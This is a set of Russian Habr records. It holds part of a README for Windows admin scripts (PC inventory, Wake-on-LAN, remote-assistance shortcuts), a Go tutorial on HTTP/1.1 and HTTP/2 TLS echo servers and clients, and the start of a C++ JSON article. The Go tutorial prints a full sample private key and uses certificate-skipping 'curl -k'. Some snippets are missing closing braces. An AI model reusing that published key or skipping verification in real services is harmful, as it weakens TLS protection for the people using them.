wscript env.min.js wscript env.send.min.js ldap {ABCD1234-111B-14DC-ABAC-4578F1145541} cn="%NET-HOST%" description="%USR-NAME-THIRD% | %USR-NAME-FIRST% %USR-NAME-SECOND% | %DEV-NAME% | %PCB-BIOS-SERIAL% | %PCB-BIOS-RELEASE-DATE% | %NET-MAC% | %DEV-BENCHMARK% | %DEV-DESCRIPTION%" location="%USR-NAME-THIRD%" \\ USR-NAME-FIRST="Terminal" USR-NAME-SECOND="login" USR-NAME-THIRD="Location" PCB-BIOS-RELEASE-DATE="XX.XX.XXXX" NET-MAC="XX:XX:XX:XX:XX:XX"
```
Когда компьютер не в **домене** то в **планировщике задач**, можно прописать следующий скрипт, чтобы информация о компьютере и пользователе сохранялась в виде ярлычка в сетевой папке. И затем использовать эти ярлычки чтобы одним кликом разбудить `WOL` пакетом нужный компьютер и подключится к нему через **Помощник** для оказания технической поддержки. Для отправки `WOL` пакета можно использовать утилиту [Wake On Lan](https://www.depicus.com/wake-on-lan/wake-on-lan-cmd).
```
wscript env.min.js wscript env.send.min.js link \\server\links name="%NET-HOST% - %USR-NAME-FIRST% %USR-NAME-SECOND% ! %DEV-NAME% ! %PCB-BIOS-SERIAL% ! %PCB-BIOS-RELEASE-DATE% ! %DEV-BENCHMARK%" targetPath="%WINDIR%\System32\cmd.exe" arguments="/c wolcmd.exe %NET-MAC% 192.168.0.255 255.255.255.0 & start msra.exe /offerRA %NET-HOST%" workingDirectory="C:\Scripts" windowStyle=7 iconLocation="%WINDIR%\System32\msra.exe,0" description="%USR-NAME-THIRD%" \\ USR-NAME-FIRST="Terminal" USR-NAME-SECOND="login" PCB-BIOS-RELEASE-DATE="XX.XX.XXXX" NET-MAC="XX:XX:XX:XX:XX:XX"
```
Когда компьютер не в **домене**, но есть **административная** учётная запись от всех компьютеров, можно выполнить следующий скрипт, чтобы загрузить из `txt` файла список компьютеров, получить о них информация по сети через `WMI` и создать аналогичные ярлычки в локальной папке.
```
for /f "eol=; tokens=* delims=, " %%i in (list.txt) do cscript /nologo /u env.min.js \\%%i silent cscript env.send.min.js link C:\Links name="%NET-HOST% - %USR-NAME-FIRST% %USR-NAME-SECOND% ! %DEV-NAME% ! %PCB-BIOS-SERIAL% ! %PCB-BIOS-RELEASE-DATE% ! %DEV-BENCHMARK%" targetPath="%WINDIR%\System32\cmd.exe" arguments="/c wolcmd.exe %NET-MAC% 192.168.0.255 255.255.255.0 & start msra.exe /offerRA %NET-HOST%" workingDirectory="C:\Scripts" windowStyle=7 iconLocation="%WINDIR%\System32\msra.exe,0" description="%USR-NAME-THIRD%" \\ USR-NAME-FIRST="Terminal" USR-NAME-SECOND="login" PCB-BIOS-RELEASE-DATE="XX.XX.XXXX" NET-MAC="XX:XX:XX:XX:XX:XX"
```
Или можно сделать то же самое, что в предыдущем примере, но разбить всё на два этапа. Сначала получить данные с компьютеров по сети через `WMI` и сохранить их в локальной папке. А затем на основании этих данных создать аналогичные ярлычки в другой локальной папке.
```
for /f "eol=; tokens=* delims=, " %%i in (list.txt) do cscript /nologo /u env.min.js \\%%i > C:\Inventory\%%i.ini
for /f "eol=; tokens=* delims=, " %%i in (list.txt) do cscript /u env.min.js ini@auto silent \\ cscript env.send.min.js link C:\Links name="%NET-HOST% - %USR-NAME-FIRST% %USR-NAME-SECOND% ! %DEV-NAME% ! %PCB-BIOS-SERIAL% ! %PCB-BIOS-RELEASE-DATE% ! %DEV-BENCHMARK%" targetPath="%WINDIR%\System32\cmd.exe" arguments="/c wolcmd.exe %NET-MAC% 192.168.0.255 255.255.255.0 & start msra.exe /offerRA %NET-HOST%" workingDirectory="C:\Scripts" windowStyle=7 iconLocation="%WINDIR%\System32\msra.exe,0" description="%USR-NAME-THIRD%" \\ USR-NAME-FIRST="Terminal" USR-NAME-SECOND="login" PCB-BIOS-RELEASE-DATE="XX.XX.XXXX" NET-MAC="XX:XX:XX:XX:XX:XX" < C:\Inventory\%%i.ini
```
env.search
----------
### Описание
`JScript` для поиска данных для **переменных среды** в объектах `Active Directory` по протоколу `LDAP` или в папке с `ini` файлами. Основная задача скрипта найти, добавить в **переменные среды** данные по компьютеру и используя эти переменные, выполнить необходимую команду в целях системного администрирования. Данные по компьютерам можно собрать с помощью другого скрипта [env](https://github.com/vipic-ru/env) и выгрузить их в `ini` файлы в папке или добавить в атрибуты объектов `Active Directory` с помощью другого скрипта [env.send](https://github.com/vipic-ru/env.send).
### Использование
В командной строке **Windows** введите следующую команду. Если необходимо скрыть отображение окна консоли, то вместо `cscript` можно использовать `wscript`.
```
cscript env.search.min.js [...] [...] \\ [...]
```
* - Режим поиска данных для переменных среды.
+ **folder** - Получение данных из папки с `ini` файлами.
+ **ldap** - Получение данных из `Active Directory`.
* - Путь к папке или `guid` (допускается указание пустого значения).
* - Дополнительные опции (может быть несколько, порядок не важен).
+ **search** - Поисковой запрос (можно опустить, будет запрошен в процессе).
+ **index** - Номер компьютера в выборке (можно опустить, будет запрошен в процессе).
+ **action** - Ключ действия (можно опустить, будет запрошен в процессе).
+ **item** - Шаблон представления компьютеров в выборке (доступны переменные `%ENV%`).
+ **unit** - Шаблон представления других списков (доступны переменные `%ENV%`).
+ **service** - Имя службы, которую нужно запустить перед выполнением команды действия.
+ **check** - Флаг проверки доступности целевых компьютеров.
+ **user** - Флаг запроса информации по пользователю (только для режима `ldap`).
+ **noalign** - Флаг запрета выравнивания выборок и списков.
+ **color** - Флаг использования цветового оформления.
* - Шаблоны для получения данных из атрибутов объекта (только для режима `ldap`).
* - Действия в формате ключ и команда (доступны переменные `%ENV%`).
### Поиск объектов
Если получение данных идёт в режиме **folder**, то поиск нужных объектов в `ini` файлах производится по следующим ключам: `NET-MAC`, `SYS-KEY`, `NET-HOST`, `DEV-NAME`, `NET-IP-V4`, `SYS-VERSION`, `USR-ACCOUNT`, `DEV-DESCRIPTION`, `PCB-BIOS-SERIAL`, `PCB-BIOS-SERIAL` и `USR-NAME`, причём по последнему ключу поисковой запросе ещё проверяется в транслитерации.
Если получение данных идёт в режиме **ldap**, то поиск нужных объектов производится по следующим атрибутам: `name`, `operatingSystemVersion` и `description`, причём по последнему атрибуту поисковой запросе ещё проверяется в транслитерации.
### Переменные среды
Скрипт добавляет временные переменные в среду процесса. В режиме **folder** переменные добавляются по ключам в `ini` файле. В режиме **ldap** добавляются описанные ниже переменные. Если нет данных для формирования переменной, то переменная не создаётся. Если задана дополнительная опция **user**, то по ключам `USR-NAME-FIRST` и `USR-NAME-SECOND` дополнительно запрашиваются данные о пользователе. Применяя шаблоны для получения данных из атрибутов объекта, можно получить любые данные и добавить их в любые переменные. Причём данные из одного атрибута по шаблону можно разделить на несколько переменных.
#### Операционная система
* `SYS-NAME` - Заданное производителем полное название операционной системы.
* `SYS-VERSION` - Версия операционной системы.
#### Пользователь
* `USR-NAME` - Отображаемое имя пользователя.
* `USR-ACCOUNT` - Аккаунт пользователя.
* `USR-SID` - Идентификатор безопасности пользователя.
* `USR-COUNTRY` - Название страны пользователя.
* `USR-COUNTRY-ID` - Идентификатор страны пользователя.
* `USR-CITY` - Название города пользователя.
* `USR-COMPANY` - Название организации пользователя.
* `USR-DEPARTMENT` - Название подразделения пользователя.
* `USR-POSITION` - Название должности пользователя.
* `USR-EMAIL` - Адрес электронной почты пользователя.
* `USR-MOBILE` - Номер мобильного телефона пользователя.
* `USR-PHONE` - Номер телефона пользователя.
* `USR-HOME` - Полный путь к домашнему каталогу пользователя.
* `USR-INFO` - Заметка о пользователе.
#### Сетевой адаптер
* `NET-HOST` - Зарегистрированное сетевое имя компьютера.
* `NET-HOST-DN` - Значение `Distinguished Name` компьютера в домене.
#### Другие переменные
* `TMP-CHECK` - Время отклика компьютера на запрос проверки доступности.
* `TMP-INDEX` - Порядковый номер компьютера в выборке (или элемента в списке).
* `TMP-KEY` - Ключ элемента в списке.
* `TMP-VALUE` - Значение элемента в списке.
### Примеры использования
Вывести предложение для ввода поискового **запроса**, номера **компьютера** и выбора последующего **действия**. Поиск осуществлять в `Active Directory` в пределах `Organizational Unit` c **guid** `{ABCD1234-111B-14DC-ABAC-4578F1145541}`. Для отображаемой информации использовать оформление цветом, найденные компьютеры проверять на доступность и запрашивать информацию о пользователе. Что бы узнать **guid** контейнера в `Active Directory` можно воспользоваться программой [Active Directory Explorer](https://docs.microsoft.com/ru-ru/sysinternals/downloads/adexplorer).
```
cscript env.search.min.js ldap {0C9E6295-C543-40D1-BD6D-3F2BDF54F7A9} color check user item=" %TMP-INDEX% | %TMP-CHECK% | %NET-HOST% | %USR-NAME% | %USR-MOBILE% | %USR-INFO% | %DEV-NAME%" unit=" %TMP-INDEX% | %TMP-KEY% | %TMP-VALUE%" description="%USR-NAME-THIRD% | %USR-NAME-FIRST% %USR-NAME-SECOND% | %DEV-NAME% | %PCB-BIOS-SERIAL% | %PCB-BIOS-RELEASE-DATE% | %NET-MAC% | %DEV-BENCHMARK% | %DEV-DESCRIPTION%" \\ Помощник="msra.exe /offerRA %NET-HOST%" Подключится="mstsc.exe /v:%NET-HOST%" Доступность="ping.exe %NET-HOST%" Разбудить="wolcmd.exe %NET-MAC% 192.168.0.255 255.255.255.0" Сведения="msinfo32.exe /computer %NET-HOST%" Управление="compmgmt.msc /computer=%NET-HOST%"
```
Вывести предложение для ввода поискового **запроса**, номера **компьютера** и выбора последующего **действия**. Поиск осуществлять в папке с `ini` файлами. Для отображаемой информации использовать оформление цветом.
```
cscript env.search.min.js folder "C:\Inventory" color item=" %TMP-INDEX% | %NET-HOST% | %USR-NAME% | %DEV-DESCRIPTION%" unit=" %TMP-INDEX% | %TMP-KEY% | %TMP-VALUE%" \\ Помощник="msra.exe /offerRA %NET-HOST%" Подключится="mstsc.exe /v:%NET-HOST%" Доступность="ping.exe %NET-HOST%" Разбудить="wolcmd.exe %NET-MAC% 192.168.0.255 255.255.255.0" Сведения="msinfo32.exe /computer %NET-HOST%" Управление="compmgmt.msc /computer=%NET-HOST%"
```
Сохранить в файл список всех компьютеров расположенных в `Active Directory` в пределах `Organizational Unit` c **guid** `{ABCD1234-111B-14DC-ABAC-4578F1145541}`.
```
cscript /nologo search.min.js ldap {ABCD1234-111B-14DC-ABAC-4578F1145541} search="" noalign > list.txt
```
Подключиться через **TightVNC** к первому найденному компьютеру по поисковому запросу `Иванов`. Поиск осуществлять в `Active Directory` в пределах `Organizational Unit` c **guid** `{ABCD1234-111B-14DC-ABAC-4578F1145541}`. Перед подключением на удалённом компьютере запустить службу с именем `tvnserver`, а после отключения остановить её.
```
wscript env.search.min.js ldap {0C9E6295-C543-40D1-BD6D-3F2BDF54F7A9} service=tvnserver search="Иванов" index=1 action=TightVNC \\ TightVNC="tvnviewer.exe -host=%NET-HOST%"
``` | https://habr.com/ru/post/579114/ | null | ru | null |
# Пишем HTTP/1.1 & HTTP/2 клиент и сервер на Golang

Golang — отличный язык программирования с широким спектром возможностей. В этой статье показано, как на Go можно написать клиент и сервер для протоколов HTTP/1.1 и HTTP/2.
> **Skillbox рекомендует:** Практический курс [«Python-разработчик с нуля»](https://skillbox.ru/python/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PTNDEV&utm_content=articles&utm_term=goserver).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
>
>
HTTP/2 — вторая крупная версия сетевого протокола HTTP, используемая для доступа к World Wide Web. Протокол основан на SPDY. Подробнее об этой версии можно [узнать на GitHub](https://http2.github.io/faq/).
### HTTP/1.1 Server
Код, размещенный ниже, демонстрирует принцип написания HTTP/1.1-сервера на Go. Функция main запускает службу HTTP(S) с портом 9191 и путем /hello/sayHello. echoPayload отвечает за логику echo, занимаясь анализом входящего трафика и реагируя соответствующим образом. При необходимости echoPayload можно модифицировать.
```
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
http.HandleFunc("/hello/sayHello", echoPayload)
log.Printf("Go Backend: { HTTPVersion = 1 }; serving on https://localhost:9191/hello/sayHello")
log.Fatal(http.ListenAndServeTLS(":9191", "./cert/server.crt", "./cert/server.key", nil))
}
func echoPayload(w http.ResponseWriter, req *http.Request) {
log.Printf("Request connection: %s, path: %s", req.Proto, req.URL.Path[1:])
defer req.Body.Close()
contents, err := ioutil.ReadAll(req.Body)
if err != nil {
log.Fatalf("Oops! Failed reading body of the request.\n %s", err)
http.Error(w, err.Error(), 500)
}
fmt.Fprintf(w, "%s\n", string(contents))
```
Поскольку служба HTTP(S) уже запущена, нужно предоставить сертификат и ключ сервера. Оба объекта сохранены в директории cert с названиями server.crt и server.key.
Пример сертификата и ключа — ниже.
./cert/server.crt
-----BEGIN CERTIFICATE-----
MIID+zCCAuOgAwIBAgIJAPsvGCCAC2i+MA0GCSqGSIb3DQEBCwUAMIGTMQswCQYD
VQQGEwJMSzEQMA4GA1UECAwHV2VzdGVybjEQMA4GA1UEBwwHQ29sb21ibzESMBAG
A1UECgwJTERDTEFLTUFMMRQwEgYDVQQLDAtFbmdpbmVlcmluZzESMBAGA1UEAwwJ
bG9jYWxob3N0MSIwIAYJKoZIhvcNAQkBFhNsZGNsYWttYWxAZ21haWwuY29tMB4X
DTE5MDQyMDA1MjczM1oXDTIwMDQxOTA1MjczM1owgZMxCzAJBgNVBAYTAkxLMRAw
DgYDVQQIDAdXZXN0ZXJuMRAwDgYDVQQHDAdDb2xvbWJvMRIwEAYDVQQKDAlMRENM
QUtNQUwxFDASBgNVBAsMC0VuZ2luZWVyaW5nMRIwEAYDVQQDDAlsb2NhbGhvc3Qx
IjAgBgkqhkiG9w0BCQEWE2xkY2xha21hbEBnbWFpbC5jb20wggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC9PKAOlJcOBUI9CGnVjMjQHNRqYv01CaUdC4/e
YFyegxLpoMpYvEC+nYlHT2j7BOhQBV+TkH1D4YOK2WP3V0FLv5hM7Nxsgf25WNHa
zi2DTBvcBgB9sDJA/avIvF+63+Btnyggp3xq6MaHy5DNH0kPnSiPiy7PRKToEUn6
oqPnB10rRBFZqs3ePmEDxVL3T/TUZSXR3P95fV1vDCqrJbr3YwWOzFCq8kEJFslK
B7GSEKpPgmK0g5krmAQqUOuCJ3/xFlCP4trKg/lvSJZ5S/LZD5teDDg6Ax3Mvthj
kMh9/OM5GGTTjRwhct9dHjFI8POj+TMbLZvoPVXjsmATEgtLAgMBAAGjUDBOMB0G
A1UdDgQWBBQ1CmWXmrHOv6b8f763/bk80EpbajAfBgNVHSMEGDAWgBQ1CmWXmrHO
v6b8f763/bk80EpbajAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAH
D51Uoe2K4N9/GxRgww5mMW2dUJ7Hc/tGsr/J1fNqHY8SXNAn5i+GwI+xBvwxFHL3
KZHbfq7eYDE5EItt3cZp5ySSscdTEay9ReH2+8k32gpH46CMwPV3XvtQuBVVAC4u
szrq1eWKhYI2zf4iUVpwvq89OynVGIp0atng+q3A2cBhi3NGo6Ho1s2rywQyqiq8
up4PUSVQ6WBoJFx5PEEDxD84VMS7Pan6dT34b9n56tq5R06retZTUZ8jMM88CGX4
88pSPU+XImp6DdNVBmW6Lz76jiSNHLkZGm4jumjeyUGzBjBEBOgSegeWlinMtWE9
gaVxeUHrqHk8xzwJ4oIu
-----END CERTIFICATE-----
./cert/server.key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9PKAOlJcOBUI9
CGnVjMjQHNRqYv01CaUdC4/eYFyegxLpoMpYvEC+nYlHT2j7BOhQBV+TkH1D4YOK
2WP3V0FLv5hM7Nxsgf25WNHazi2DTBvcBgB9sDJA/avIvF+63+Btnyggp3xq6MaH
y5DNH0kPnSiPiy7PRKToEUn6oqPnB10rRBFZqs3ePmEDxVL3T/TUZSXR3P95fV1v
DCqrJbr3YwWOzFCq8kEJFslKB7GSEKpPgmK0g5krmAQqUOuCJ3/xFlCP4trKg/lv
SJZ5S/LZD5teDDg6Ax3MvthjkMh9/OM5GGTTjRwhct9dHjFI8POj+TMbLZvoPVXj
smATEgtLAgMBAAECggEAbaS2yDvn2cPKQTqit4y+vXY2zP1V4GkaNd4BGcOTZnRj
fOIg25EXoln8tEiadva888BpREKvkakUYlraxPDVcGIuiEOk42nd7Io97R0Q2cY7
ThxcJHb2ZxmTctdSUCBvFJTm1ySzve3pOb0ExRSfbGCOo7zs/kKzmZKK3qFlffGS
Ga9O7hyLOuXPU22CM+5Lq0JPTER73z0DpAweZc0L14j6dzhcG3qUwk0K6K47VZgE
NhEORul7xDj91bh2iEoSbaQe8HxLaMQoMXOC/9oey2UKKTe9WZE3+XCvg+vkw/sS
biQ+b4EZ9LuhAhCZ0UE6+y7PZY+8G/YsbGg0Zo8cAQKBgQDyTuG47rWBgbdHsEB/
MSKGU6w+a1SdLk6jG+Enji5Q624/h0xt5nF9ah2eRf3Rlhn9WEKM/uE9ouEODBKE
8rnIDsjufEMI8moPEloRBSsxPNw+fNMSSCZjL+qPtTJUbRio7WA23sfdnE57ygBa
wlPQ9UBBWSm2se4veEZtHjtngQKBgQDH7gnH5Att6ZYazRTgD72g0C5v1l4LYVEQ
jxdBcs6TJA8wHfifZ45F67W95QunmM813UxfS+ybdjytlb8/lmi2BnK6lDx5HWIL
31jnbg2CxCrNv9oZLjKVDmkp4WUcEp5W33R1/MGDTRfyARP+6QYQO/ATMdqtm5Uu
cD6clrL4ywKBgQCQ0niy0WmGaAMlQ8CoxLM/2c6+1+OQtlalwkoGHEKudqhELBeQ
MAVw0fW13Vtg4vfRpejQ4J26+xjMDocbEv/bBIsvjvF57XlaXLucJJy2Jwv0BSMa
cCkRa1gkYEYek74DaSzyXqDSYVO/RPKFTFRQNeUbqbD20s3rbVWablFPAQKBgB5y
zUCJJYh2w6qPQzegjhO4wOm9bxMyngL0l+ka0AUuv7VnSx8TyWIytLoX8P90UVJ1
wpTc3ksK5dDV9ot7n7ThJIXv34nehLkkKckNRLd+oro1FsUw+PkkebWsIxb0avL2
EymI9fvGOPhdW6s91/OO/VAfDpvUDxNEevSkKtujAoGAcMOsXtn/UyT3Lssxgla3
K+DCaFhAQPSUXOmpZwEbQ0yQlksDe4flsam8bEDI5D5iHx1ziSfh583qJl3BEZ5u
VZTEO2YLvT9QRz7pv2qspqj7nzSyBU2BFAajq43/G1b8FHfVgN+YdVtzVrigfql5
2a+JxOxFfpjnGQ7RfSxSb+Q=
-----END PRIVATE KEY-----
Пора провести тестовый запуск службы, использовав следующую команду:
```
$ go run http_server.go
```
Ответ должен быть таким:
```
Go Backend: { HTTPVersion = 1 }; serving on https://localhost:9191/hello/sayHello
```
Теперь инициируем службу при помощи запроса HTTP/1.1 POST (небезопасный и безопасный режимы):
```
$ curl -k -v https://localhost:9191/hello/sayHello -d "Hello Go!"
$ curl -v --cacert ./cert/server.crt https://localhost:9191/hello/sayHello -d "Hello Go!"
```
Ниже — результат работы программы. Первая часть — детали рукопожатия TLS сервера и клиента. Вторая — детали запроса и ответа HTTP/1.1. В конце — текстовое сообщение «Hello Go!».
\* Trying 127.0.0.1…
\* Connected to localhost (127.0.0.1) port 9191 (#0)
\* ALPN, offering http/1.1
\* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
\* successfully set certificate verify locations:
\* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: none
\* TLSv1.2 (OUT), TLS header, Certificate Status (22):
\* TLSv1.2 (OUT), TLS handshake, Client hello (1):
\* TLSv1.2 (IN), TLS handshake, Server hello (2):
\* TLSv1.2 (IN), TLS handshake, Certificate (11):
\* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
\* TLSv1.2 (IN), TLS handshake, Server finished (14):
\* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
\* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
\* TLSv1.2 (OUT), TLS handshake, Finished (20):
\* TLSv1.2 (IN), TLS change cipher, Client hello (1):
\* TLSv1.2 (IN), TLS handshake, Finished (20):
\* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
\* ALPN, server accepted to use http/1.1
\* Server certificate:
\* subject: C=LK; ST=Western; L=Colombo; O=LDCLAKMAL; OU=Engineering; CN=Chanaka Lakmal; emailAddress=ldclakmal@gmail.com
\* start date: Apr 20 03:03:58 2019 GMT
\* expire date: Apr 19 03:03:58 2020 GMT
\* issuer: C=LK; ST=Western; L=Colombo; O=LDCLAKMAL; OU=Engineering; CN=Chanaka Lakmal; emailAddress=ldclakmal@gmail.com
\* SSL certificate verify result: self signed certificate (18), continuing anyway.
> POST /hello/sayHello HTTP/1.1
> Host: localhost:9191
> User-Agent: curl/7.46.0
> Accept: \*/\*
> Content-Length: 9
> Content-Type: application/x-www-form-urlencoded
>
\* upload completely sent off: 9 out of 9 bytes
< HTTP/1.1 200 OK
< Date: Sat, 20 Apr 2019 06:56:19 GMT
< Content-Length: 10
< Content-Type: text/plain; charset=utf-8
<
Hello Go!
\* Connection #0 to host localhost left intact
### HTTP/1.1 Client
Новый код — пример написания простого клиента HTTP/1.1 на Go. Этот клиент отправляет запрос HTTP(S) POST на [localhost](https://localhost):9191/hello/sayHello с сообщением “Hello Go!”.
```
package main
import (
"bytes"
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
client := &http.Client{}
// Create a pool with the server certificate since it is not signed
// by a known CA
caCert, err := ioutil.ReadFile("./cert/server.crt")
if err != nil {
log.Fatalf("Reading server certificate: %s", err)
}
caCertPool := x509.NewCertPool()
caCertPool.AppendCertsFromPEM(caCert)
// Create TLS configuration with the certificate of the server
tlsConfig := &tls.Config{
RootCAs: caCertPool,
}
// Use the proper transport in the client
client.Transport = &http.Transport{
TLSClientConfig: tlsConfig,
}
// Perform the request
resp, err := client.Post("https://localhost:9191/hello/sayHello", "text/plain", bytes.NewBufferString("Hello Go!"))
if err != nil {
log.Fatalf("Failed get: %s", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Failed reading response body: %s", err)
}
fmt.Printf("Got response %d: %s %s", resp.StatusCode, resp.Proto, string(body))
```
Поскольку здесь тоже запускается служба HTTP(S), нужно предоставить сертификат и ключ. Нужные данные размещены в директории cert с названиями server.crt и server.key.
Для того чтобы запустить клиент, нужно инициализировать сервер. Для этого выполняем описанные в первом разделе действия либо же запускаем любую HTTP(S)-службу с портом 9191 и путем /hello/sayHello.
```
$ go run http_client.go
```
Вывод должен быть таким:
```
Got response 200: HTTP/1.1 Hello Go!
```
Клиент показывает работу команды curl:
```
$ curl -v --cacert ./cert/server.crt https://localhost:9191/hello/sayHello -d "Hello Go!"
```
После того как закончена работа с HTTP/1.1, стоит попробовать повторить то же самое для HTTP/2.
### HTTP/2 Server
Как и в предыдущем разделе, сначала нужно создать эхо-сервер.
```
package main
import (
"fmt"
"golang.org/x/net/http2"
"io/ioutil"
"log"
"net/http"
)
func main() {
var httpServer = http.Server{
Addr: ":9191",
}
var http2Server = http2.Server{}
_ = http2.ConfigureServer(&httpServer, &http2Server)
http.HandleFunc("/hello/sayHello", echoPayload)
log.Printf("Go Backend: { HTTPVersion = 2 }; serving on https://localhost:9191/hello/sayHello")
log.Fatal(httpServer.ListenAndServeTLS("./cert/server.crt", "./cert/server.key"))
}
func echoPayload(w http.ResponseWriter, req *http.Request) {
log.Printf("Request connection: %s, path: %s", req.Proto, req.URL.Path[1:])
defer req.Body.Close()
contents, err := ioutil.ReadAll(req.Body)
if err != nil {
log.Fatalf("Oops! Failed reading body of the request.\n %s", err)
http.Error(w, err.Error(), 500)
}
fmt.Fprintf(w, "%s\n", string(contents))
```
Для того чтобы проверить работу сервера, нужно отправить команду:
```
$ go run http2_server.go
```
Ответ должен быть таким:
```
Go Backend: { HTTPVersion = 2 }; serving on https://localhost:9191/hello/sayHello
```
Теперь сервер запущен, инициализировать его можно при помощи запросов HTTP/1.1 или HTTP/2. Команды HTTP/1.1 POST для тестирования работы сервера приведены ниже:
```
$ curl -k -v https://localhost:9191/hello/sayHello -d "Hello Go!"
$ curl -v --cacert ./cert/server.crt https://localhost:9191/hello/sayHello -d "Hello Go!"
```
И то же самое, но уже с HTTP/2 POST:
```
$ curl -k -v --http2 https://localhost:9191/hello/sayHello -d "Hello Go!"
$ curl -v --http2 --cacert ./cert/server.crt https://localhost:9191/hello/sayHello -d "Hello Go!"
```
Ниже — пример вывода работы сервера. Первая часть — TLS-рукопожатие между сервером и клиентом, вторая — детали запроса и ответа HTTP/2.
\* Trying 127.0.0.1…
\* Connected to localhost (127.0.0.1) port 9191 (#0)
\* ALPN, offering h2
\* ALPN, offering http/1.1
\* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
\* successfully set certificate verify locations:
\* CAfile: src/hello/cert/server.crt
CApath: none
\* TLSv1.2 (OUT), TLS header, Certificate Status (22):
\* TLSv1.2 (OUT), TLS handshake, Client hello (1):
\* TLSv1.2 (IN), TLS handshake, Server hello (2):
\* TLSv1.2 (IN), TLS handshake, Certificate (11):
\* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
\* TLSv1.2 (IN), TLS handshake, Server finished (14):
\* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
\* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
\* TLSv1.2 (OUT), TLS handshake, Finished (20):
\* TLSv1.2 (IN), TLS change cipher, Client hello (1):
\* TLSv1.2 (IN), TLS handshake, Finished (20):
\* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
\* ALPN, server accepted to use h2
\* Server certificate:
\* subject: C=LK; ST=Western; L=Colombo; O=LDCLAKMAL; OU=Engineering; CN=localhost; emailAddress=ldclakmal@gmail.com
\* start date: Apr 20 05:27:33 2019 GMT
\* expire date: Apr 19 05:27:33 2020 GMT
\* common name: localhost (matched)
\* issuer: C=LK; ST=Western; L=Colombo; O=LDCLAKMAL; OU=Engineering; CN=localhost; emailAddress=ldclakmal@gmail.com
\* SSL certificate verify ok.
\* Using HTTP2, server supports multi-use
\* Connection state changed (HTTP/2 confirmed)
\* TCP\_NODELAY set
\* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
\* Using Stream ID: 1 (easy handle 0x10ddf20)
> POST /hello/sayHello HTTP/1.1
> Host: localhost:9191
> User-Agent: curl/7.46.0
> Accept: \*/\*
> Content-Length: 9
> Content-Type: application/x-www-form-urlencoded
>
\* We are completely uploaded and fine
< HTTP/2.0 200
< content-type:text/plain; charset=utf-8
< content-length:10
< date:Sat, 20 Apr 2019 06:54:50 GMT
<
Hello Go!
\* Connection #0 to host localhost left intact
### HTTP/2 Client
Последняя часть — создание HTTP/2-клиента. Вот реализация отправки HTTP(S) POST запроса для [localhost](https://localhost):9191/hello/sayHello:
```
package main
import (
"bytes"
"crypto/tls"
"crypto/x509"
"fmt"
"golang.org/x/net/http2"
"io/ioutil"
"log"
"net/http"
)
func main() {
client := &http.Client{}
// Create a pool with the server certificate since it is not signed
// by a known CA
caCert, err := ioutil.ReadFile("./cert/server.crt")
if err != nil {
log.Fatalf("Reading server certificate: %s", err)
}
caCertPool := x509.NewCertPool()
caCertPool.AppendCertsFromPEM(caCert)
// Create TLS configuration with the certificate of the server
tlsConfig := &tls.Config{
RootCAs: caCertPool,
}
// Use the proper transport in the client
client.Transport = &http2.Transport{
TLSClientConfig: tlsConfig,
}
// Perform the request
resp, err := client.Post("https://localhost:9191/hello/sayHello", "text/plain", bytes.NewBufferString("Hello Go!"))
if err != nil {
log.Fatalf("Failed get: %s", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Failed reading response body: %s", err)
}
fmt.Printf("Got response %d: %s %s", resp.StatusCode, resp.Proto, string(body))
```
Как и прежде, для работы нужны ключ и сертификат. Они сохранены в cert с названиями server.crt и server.key.
Запуск клиента:
```
$ go run http2_client.go
```
И ожидаемый ответ:
```
Got response 200: HTTP/2 Hello Go!
```
Детализация работы клиента:
```
$ curl -v --http2 --cacert ./cert/server.crt https://localhost:9191/hello/sayHello -d "Hello Go!"
```
Вот и все. Работа относительно простая, но она дает понимание того, как реализовать базовые сетевые сервисы на языке Go.
> **Skillbox рекомендует:**
>
>
>
> * Двухлетний практический курс [«Я — веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=goserver).
> * Образовательный онлайн-курс [«Профессия Java-разработчик»](https://skillbox.ru/java/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=JAVDEV&utm_content=articles&utm_term=goserver).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=goserver).
> | https://habr.com/ru/post/451032/ | null | ru | null |
# Как могла бы выглядеть поддержка JSON в современном С++
Хорошо в плане поддержки JSON живётся программистам на Javascript — *по какому-то невероятному стечению обстоятельств* там JSON входит в спецификацию самого языка: есть JSON — есть объект. Удобно. Неплохо дело обстоит и в языках, где JSON не входит в сам язык, но поддерживается стандартной библиотекой (Python, Ruby): импортируешь модуль — и готово.
Жизнь программистов на С++ никогда не была особо простой — поддержки JSON у нас нет ни на уровне языка, ни в стандартной библиотеке. И не будет, возможно, никогда. «Тоже мне проблему нашел!» — скажут мне опытные коллеги — «Её там и не должно быть, С++ поставляется без „батареек“. Для решения этой задачи мы...» и вот здесь они разделятся на два лагеря:
